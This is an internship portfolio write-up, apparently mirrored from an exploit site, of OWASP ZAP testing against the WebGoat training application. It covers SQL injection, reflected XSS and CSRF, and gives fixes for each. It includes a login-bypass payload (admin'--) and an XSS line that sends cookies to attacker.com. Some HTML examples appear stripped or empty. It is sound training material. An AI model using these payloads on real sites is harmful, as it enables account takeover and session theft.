Share
## https://sploitus.com/exploit?id=5DEB0102-6B68-5651-837F-C1A153E31692
# π Web Application Security Testing with OWASP ZAP
**Author:** Perikala Anusha
**Portfolio:** [anusha-cybersecurity-portfolio.vercel.app](https://anusha-cybersecurity-portfolio.vercel.app)
**GitHub:** [github.com/Anusha2819](https://github.com/Anusha2819)
**LinkedIn:** [linkedin.com/in/perikala-anusha-76b214316](https://linkedin.com/in/perikala-anusha-76b214316)
**Date:** February 2026
**Context:** Redynox Cyber Security Internship β Task 2
---
## π Project Overview
This project demonstrates a complete **web application security assessment** using OWASP ZAP 2.15 and WebGoat 8.2.2 β the industry-standard intentionally vulnerable application used for security training.
Three critical vulnerabilities were manually exploited and documented with code-level mitigations:
| Vulnerability | CWE | CVSS Score | Severity |
|--------------|-----|-----------|---------|
| SQL Injection | CWE-89 | 9.8 | π΄ Critical |
| Cross-Site Scripting (XSS) | CWE-79 | 8.8 | π΄ High |
| Cross-Site Request Forgery (CSRF) | CWE-352 | 7.4 | π High |
> β οΈ **Ethics Note:** All testing was performed exclusively on **WebGoat** β an intentionally vulnerable application running on localhost, designed specifically for security training. No real-world applications were tested.
---
## π οΈ Environment Setup
| Component | Details |
|-----------|---------|
| Target App | WebGoat 8.2.2 (localhost:8080) |
| Proxy Tool | OWASP ZAP 2.15 (127.0.0.1:8090) |
| Browser | Firefox + FoxyProxy extension |
| OS | Windows + Kali Linux (WSL2) |
| Scan Type | Traditional Spider + Ajax Spider |
### Setup Steps
```bash
# 1. Start WebGoat on localhost
java -jar webgoat-server-8.2.2.jar --server.port=8080
# 2. Configure ZAP proxy
# ZAP Listen Address: 127.0.0.1:8090
# Firefox FoxyProxy: point to 127.0.0.1:8090
# 3. Open WebGoat in Firefox
# http://localhost:8080/WebGoat
```
---
## π Automated Scan Results
**Command:** Traditional Spider + Ajax Spider via OWASP ZAP 2.15
```
URLs Discovered: 59
Total Alerts: 19
High Severity: 3 (SQL Injection)
Medium Severity: 8
Low Severity: 8
```
---
## π¨ Vulnerability 1 β SQL Injection (CVSS 9.8)
### Details
| Field | Value |
|-------|-------|
| CWE | CWE-89 |
| CVSS | 9.8 (Critical) |
| Type | Authentication Bypass via SQLi |
| Location | WebGoat Login Form |
### Exploitation
**Payload used:**
```sql
admin'--
```
**What happened:**
- The `'` character closes the SQL string
- `--` comments out the rest of the query (including the password check)
- The resulting SQL becomes: `SELECT * FROM users WHERE username='admin'--' AND password='anything'`
- Authentication bypassed β admin access gained **without knowing the password**
**Proof of Concept:**
```
Username: admin'--
Password: anything
Result: β
Logged in as admin
```
### Remediation
```java
// β VULNERABLE CODE
String query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
// β
FIXED CODE β PreparedStatement (Parameterised Query)
PreparedStatement stmt = connection.prepareStatement(
"SELECT * FROM users WHERE username=? AND password=?"
);
stmt.setString(1, username);
stmt.setString(2, password);
```
---
## π¨ Vulnerability 2 β Reflected XSS (CVSS 8.8)
### Details
| Field | Value |
|-------|-------|
| CWE | CWE-79 |
| CVSS | 8.8 (High) |
| Type | Reflected Cross-Site Scripting |
| Risk | Session Hijacking, Cookie Theft |
### Exploitation
**Payloads used:**
```html
alert('XSS')
document.location='http://attacker.com/steal?c='+document.cookie
```
**What happened:**
- User input was reflected directly in the page without sanitisation
- JavaScript executed in the victim's browser context
- Demonstrated ability to steal session cookies β session hijacking risk
### Remediation
```java
// β VULNERABLE β direct output
out.println("Hello " + userInput + "");
// β
FIXED β encode output + Content Security Policy
import org.owasp.encoder.Encode;
out.println("Hello " + Encode.forHtml(userInput) + "");
```
```
HTTP Header Fix:
Content-Security-Policy: default-src 'self'; script-src 'self'
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
```
---
## π¨ Vulnerability 3 β CSRF (CVSS 7.4)
### Details
| Field | Value |
|-------|-------|
| CWE | CWE-352 |
| CVSS | 7.4 (High) |
| Type | Cross-Site Request Forgery |
| Impact | Unauthorised fund transfer ($5,000) |
### Exploitation
**Attack HTML (hosted on attacker's site):**
```html
```
**What happened:**
- Victim visits attacker's page while logged into WebGoat
- Form auto-submits using victim's session cookie
- **$5,000 transfer completed WITHOUT victim's knowledge or interaction**
### Remediation
```java
// β
FIX 1 β CSRF Token validation
String csrfToken = generateSecureToken();
session.setAttribute("csrf_token", csrfToken);
// In form:
//
// Server-side validation:
if (!request.getParameter("csrf_token").equals(session.getAttribute("csrf_token"))) {
throw new SecurityException("CSRF token mismatch!");
}
```
```
HTTP Cookie Fix:
Set-Cookie: sessionId=abc123; SameSite=Strict; HttpOnly; Secure
```
---
## π Complete Findings Summary
| # | Vulnerability | CVSS | Impact | Fixed With |
|---|--------------|------|--------|-----------|
| 1 | SQL Injection (Auth Bypass) | 9.8 π΄ | Admin access without credentials | PreparedStatement |
| 2 | Reflected XSS | 8.8 π΄ | Session hijacking, cookie theft | Encode.forHtml() + CSP |
| 3 | CSRF (Fund Transfer) | 7.4 π | $5,000 unauthorised transfer | CSRF tokens + SameSite |
---
## π‘ Key Learnings
1. **SQLi is still #1 on OWASP Top 10** β parameterised queries are non-negotiable
2. **XSS requires both input validation AND output encoding** β one alone is not enough
3. **CSRF tokens must be unique per session** β predictable tokens offer no protection
4. **Defence in depth** β layering CSP + HttpOnly + SameSite catches what single fixes miss
5. **Automated scanning finds surface-level issues** β manual exploitation reveals true depth of risk
6. **Documentation matters** β every finding needs proof-of-concept + remediation to be actionable
---
## π Related Projects
| Project | Link |
|---------|------|
| π‘οΈ iptables Firewall | [github.com/Anusha2819/iptables-firewall-kali-linux](https://github.com/Anusha2819/iptables-firewall-kali-linux) |
| πΊοΈ Nmap Host Enumeration | [github.com/Anusha2819/nmap-host-enumeration](https://github.com/Anusha2819/nmap-host-enumeration) |
| π Live Portfolio | [anusha-cybersecurity-portfolio.vercel.app](https://anusha-cybersecurity-portfolio.vercel.app) |
---
## βοΈ Legal & Ethical Disclaimer
All testing performed exclusively on **WebGoat 8.2.2** running on localhost β an application **intentionally designed for security training**. No real applications, live systems, or third-party targets were tested. This project is for **educational and portfolio purposes only**.
---
*Part of Perikala Anusha's Cybersecurity Portfolio β [anusha-cybersecurity-portfolio.vercel.app](https://anusha-cybersecurity-portfolio.vercel.app)*